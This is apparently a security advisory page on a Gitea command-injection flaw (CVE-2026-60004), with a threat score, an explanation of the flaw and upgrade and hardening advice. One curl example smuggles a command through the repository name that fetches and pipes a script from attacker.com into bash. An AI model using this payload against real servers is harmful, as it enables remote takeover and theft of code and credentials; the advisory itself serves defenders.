Skip to content

CVE-2026-60004: Gitea Git Hook Command Injection Remote Code Execution

Density:
C-Level Executive Briefing CVE-2026-60004 CRITICAL SCORE 99/100

A critical vulnerability (CVE-2026-60004, CVSS 10.0) in the open-source Gitea Git forge platform allows unauthenticated remote attackers to execute arbitrary system commands on the hosting server. Threat intelligence sensors recorded widespread scanning and exploitation attempts targeting internet-exposed instances. Attackers leverage improper input validation during repository mirroring and hook templating to inject arbitrary shell commands executed under the privileges of the gitea service account. Immediate upgrading to Gitea 1.22.4 or 1.21.11 is required.

HYBRID

HERMES THREAT SCORE & SUPPLY CHAIN CODE FORGE EVALUATION

Target: Gitea Git Hook Execution Subsystem & Mirror Sync Engine
Confidence: 99%
99 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20

Designated CVE-2026-60004, this critical flaw in the widely deployed open-source Git forge Gitea permits unauthenticated remote attackers to achieve arbitrary operating system command execution on host instances.

Global threat intelligence sensors (including Shadowserver) identified thousands of internet-accessible Gitea servers subjected to automated mass-exploitation probes. Compromising a self-hosted Gitea instance provides immediate access to proprietary source code, CI/CD credentials, deployment SSH keys, and internal developer secrets.

The flaw originates in the repository mirror synchronization and git hook generation routine. When processing incoming webhooks or scheduled mirror sync requests, user-controlled parameters passed to git subprocess invocations fail to be sanitized against command delimiters (|, ;, &, $(...)).

Terminal window
# Conceptual attack vector against unpatched Gitea mirror endpoints
curl -X POST "https://gitea.target.internal/api/v1/repos/migrate" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://attacker.com/repo.git",
"service": "git",
"mirror": true,
"repo_name": "poc;curl${IFS}attacker.com/rev.sh|bash;"
}'

When Gitea constructs git arguments to clone and establish hook symlinks, the unescaped repository name or hook options break out of the command line, executing arbitrary commands with the privileges of the system git or gitea daemon.

  1. Apply Security Releases: Upgrade Gitea instances to the latest security point releases:
    • For 1.22.x: Upgrade to 1.22.4 or later.
    • For 1.21.x: Upgrade to 1.21.11 or later.
  2. Network Isolation: Ensure self-hosted Git repositories and management endpoints are placed behind a VPN or reverse proxy with multi-factor authentication (MFA) enabled.
  3. Forensic Audit: Inspect system process tables and audit logs for unusual subprocesses spawned by the git / gitea user account.
๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-60004: Gitea Git Hook Command Injection Remote Code ExecutionVULNERABILITY

Connected Nodes: 0